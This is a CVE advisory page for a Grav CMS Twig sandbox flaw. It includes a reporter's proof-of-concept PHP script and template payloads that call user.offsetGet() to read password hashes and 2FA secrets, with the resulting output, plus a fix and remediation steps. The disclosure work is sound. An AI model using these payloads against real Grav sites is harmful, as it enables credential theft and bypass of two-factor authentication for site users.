CVE-2026-76839: Grav before 2.0.16 Information Disclosure via offsetGet

Published Aug 25, 2026
·
Updated

Summary

system/config/security.yaml's Twig sandbox policy allow-lists offsetget and offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete Grav\Common\User\DataUser\User class does not filter which fields offsetGet() returns, so any sandboxed template with access to a User object can read hashedpassword, secret (2FA seed), and twofasecret directly, bypassing the redaction Grav's own code applies everywhere else.

The core evidence, from Grav's own code

system/src/Grav/Common/User/DataUser/User.php:

php / {@inheritdoc} Override to filter out sensitive fields like password hashes / public function jsonSerialize(): array { $items = parent::jsonSerialize();

// Security: Remove sensitive fields that should never be exposed to frontend unset($items['hashedpassword']); unset($items['secret']); // 2FA secret unset($items['twofasecret']); // Alternative 2FA field name

return $items; }

public function offsetGet($offset) { $value = parent::offsetGet($offset); // only special-cases 'authorized', nothing else -- no redaction return $value; }

system/config/security.yaml:

yaml - class: 'Grav\Common\User\Interfaces\UserInterface' methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'

This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.

Live, end-to-end verification

Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension, policed by Grav's own GravSecurityPolicy class, constructed directly from values parsed out of the actual system/config/security.yaml (via Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a real User object.

Environment setup:

bash git clone https://github.com/getgrav/grav.git cd grav apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

livesandboxrendertest.php:

php <?php require 'vendor/autoload.php';

use Symfony\Component\Yaml\Yaml; use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Grav\Common\Twig\Sandbox\GravSecurityPolicy; use Grav\Common\User\DataUser\User;

$securityYaml = Yaml::parseFile('system/config/security.yaml'); $sandboxCfg = $securityYaml['twigsandbox'];

function rowsToMap(array $rows): array { $out = []; foreach ($rows as $row) { $out[$row['class']] = arraymap('strtolower', arraymap('trim', explode(',', $row['methods']))); } return $out; }

$policy = new GravSecurityPolicy( $sandboxCfg['allowedtags'], $sandboxCfg['allowedfilters'], rowsToMap($sandboxCfg['allowedmethods']), rowsToMap($sandboxCfg['allowedproperties']), $sandboxCfg['allowedfunctions'] ); $sandbox = new SandboxExtension($policy, true);

$user = new User([ 'username' => 'admin', 'hashedpassword' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX', 'secret' => 'JBSWY3DPEHPK3PXP', 'twofasecret' => 'ALT2FASECRETVALUE9999', ]);

function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void { $twig = new Environment(new ArrayLoader(['@Page:test' => $template])); $twig->addExtension($sandbox); try { echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "$label => BLOCKED: " . $e->getMessage() . "\n"; } }

tryRender('hashedpassword via offsetGet()', "{{ user.offsetGet('hashedpassword') }}", $sandbox, $user); tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user); tryRender('twofasecret via offsetGet()', "{{ user.offsetGet('twofasecret') }}", $sandbox, $user); tryRender('twofasecret via subscript', "{{ user['twofasecret'] }}", $sandbox, $user); tryRender('control: user.set() (unlisted)', "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);

Run: php livesandboxrendertest.php

Output:

hashedpassword via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX secret via offsetGet() => JBSWY3DPEHPK3PXP twofasecret via offsetGet() => ALT2FASECRETVALUE9999 twofasecret via subscript => BLOCKED: Calling "twofasecret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1. control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.

The control payload (a real, non-allow-listed User method) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.

Precise nuance for the fix

Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript sugar on a non-built-in ArrayAccess object) through two different sandbox checks -- checkMethodAllowed against allowedmethods, versus checkPropertyAllowed against allowedproperties. The subscript form is already correctly blocked, since UserInterface has no allowedproperties entry. Only the explicit .offsetGet()/ .offsetExists() method-call form leaks, because those methods are present in allowedmethods.

Scope, stated honestly

I could not find where Grav core itself binds a user variable into the sandboxed Twig page-content context -- Twig::processPage()'s $twigvars has no 'user' key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: the security.yaml sandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.

Impact

Any sandboxed Twig context where a UserInterface object is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.

Suggested fix

Trimming the UserInterface entry alone is insufficient: User extends Data, and the separate generic allowlist entry for Grav\Common\Data\Data (get, value, items, offsetget, offsetexists) independently grants the same access via instanceof matching, through three methods (get, value, offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leak hashedpassword and secret/twofasecret.

The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashedpassword/secret/twofasecret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.

Affected component

- system/config/security.yaml, twigsandbox.allowedmethods entry for Grav\Common\User\Interfaces\UserInterface - system/src/Grav/Common/User/DataUser/User.php, offsetGet() (behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)

Ecosystem: Composer Package name: getgrav/grav Affected versions: current 2.0.15 dev tree (bounded by whenever UserInterface was first added to allowedmethods in security.yaml — worth checking git log -p on that file if you want an exact lower bound before submitting) Patched versions: leave blank

Severity / CVSS v3.1 vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Resolves to 7.7 / High. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.

CWE: CWE-522 (Insufficiently Protected Credentials), add CWE-284 (Improper Access Control)

Other sources

Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.

— MITRE

Affected Software

2 affected componentsFixes available
grav<2.0.16
composer/getgrav/grav<=2.0.15
2.0.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.16
  2. Upgrade

    Upgrade getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.16
  3. Configuration

    Update Grav's Twig sandbox policy in system/config/security.yaml so that sandboxed templates with access to a User/UserInterface cannot extract sensitive fields via user.offsetGet('hashed_password'|'secret'|'twofa_secret') or user.offsetexists(...); the fix described requires field filtering/redaction (not just trimming the UserInterface entry), so that hashed_password, secret (2FA seed), and twofa_secret do not exist on the readable surface.

    Grav Twig Sandbox system/config/security.yaml twig_sandbox.allowed_methods (and allowed_properties) = Ensure UserInterface access is restricted to safe fields by not allow-listing offsetGet/offsetexists for Grav\Common\User\Interfaces\UserInterface without a redaction/filtering mechanism for hashed_password/secret/twofa_secret

Event History

Aug 25, 2026
CVE Published
via MITRE·01:30 AM
Data Sourced
via MITRE·01:30 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 AM
DescriptionSeverityWeakness
Sep 17, 2026
Advisory Published
via GitHub·08:27 PM
Data Sourced
via GitHub·08:27 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue in practice?

An attacker needs page-edit permissions and the ability to use sandboxed Twig templates. The issue is therefore most relevant where untrusted or insufficiently trusted users can edit pages or template content.

2

What data could be exposed, and why does it matter?

Affected templates can retrieve sensitive User object fields, including hashed passwords and 2FA secrets. Exposed password hashes may be cracked offline, while 2FA secrets could enable authentication bypass.

3

What should be prioritized for remediation?

Upgrade Grav to 2.0.16 or later. Until upgrading is possible, restrict page-edit permissions and prevent untrusted users from creating or modifying sandboxed Twig templates.

4

How can I determine whether an instance is affected?

Instances running Grav before 2.0.16 are affected. Review whether users with page-edit permissions can invoke allow-listed offsetGet() or offsetexists() methods from sandboxed Twig templates against User objects.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203